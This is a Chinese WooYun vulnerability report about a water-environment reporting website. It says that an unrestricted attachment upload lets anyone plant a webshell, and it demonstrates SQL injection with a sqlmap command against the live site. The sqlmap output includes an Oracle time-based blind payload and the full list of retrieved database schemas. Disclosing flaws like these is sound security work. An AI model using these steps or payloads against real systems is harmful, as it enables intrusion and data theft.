WooYun.org

该系统带有注册功能，在填写报表之后可上传附件，附件改为webshell可直接获得权限，添加信息参数链接存在sql注入漏洞。
网站地址：http://**.**.**.**/

点击注册：

在成功填写单位信息-联系信息-水环境研究及管理能力的证明，之后来到附件上传，

把附件改为自己的webshell就上传成功了。
注入点：http://**.**.**.**/attachment/AddDocsEntirdomainlogin.jsp?owner=1&ownerLevel=1&catalogID=110&showFlag=0&ownerID=31083
@kali:~# sqlmap -u "http://**.**.**.**/attachment/AddDocsEntirdomainlogin.jsp?owner=1&ownerLevel=1&catalogID=110&showFlag=0&ownerID=31083" --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20151225}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 17:54:54
[17:54:54] [INFO] resuming back-end DBMS 'oracle'
[17:54:54] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: owner (GET)
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: owner=1' AND 6187=DBMS_PIPE.RECEIVE_MESSAGE(CHR(80)||CHR(76)||CHR(68)||CHR(82),5) AND 'RVkT'='RVkT&ownerLevel=1&catalogID=110&showFlag=0&ownerID=31083
---
[17:54:55] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[17:54:55] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[17:54:55] [INFO] fetching database (schema) names
[17:54:55] [INFO] fetching number of databases
[17:54:55] [WARNING] time-based comparison requires larger statistical model, please wait..............................
[17:55:00] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
2
[17:58:11] [INFO] adjusting time delay to 2 seconds due to good response times
1
[17:58:14] [INFO] retrieved: CTXSYS
[17:59:21] [INFO] retrieved: DBSNMP
[18:00:29] [INFO] retrieved: DMSYS
[18:01:23] [INFO] retrieved: EXFSYS
[18:02:29] [INFO] retrieved: HR
[18:02:54] [INFO] retrieved: IX
[18:03:20] [INFO] retrieved: MDSYSA
[18:04:18] [INFO] retrieved: OE
[18:04:41] [INFO] retrieved: OLAPSYS
[18:05:58] [INFO] retrieved: ONREP
[18:06:58] [INFO] retrieved: ORDSYS
[18:08:04] [INFO] retrieved: OUTLN
[18:09:07] [INFO] retrieved: PM
[18:09:34] [INFO] retrieved: SCOTT
[18:10:32] [INFO] retrieved: SH
[18:10:58] [INFO] retrieved: SYS
[18:11:32] [INFO] retrieved: SYSMAN
[18:12:34] [INFO] retrieved: SYSTEM
[18:13:38] [INFO] retrieved: TSMSYS
[18:14:44] [INFO] retrieved: WMSYS
[18:15:40] [INFO] retrieved: XDB
available databases [21]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] HR
[*] IX
[*] MDSYSA
[*] OE
[*] OLAPSYS
[*] ONREP
[*] ORDSYS
[*] OUTLN
[*] PM
[*] SCOTT
[*] SH
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB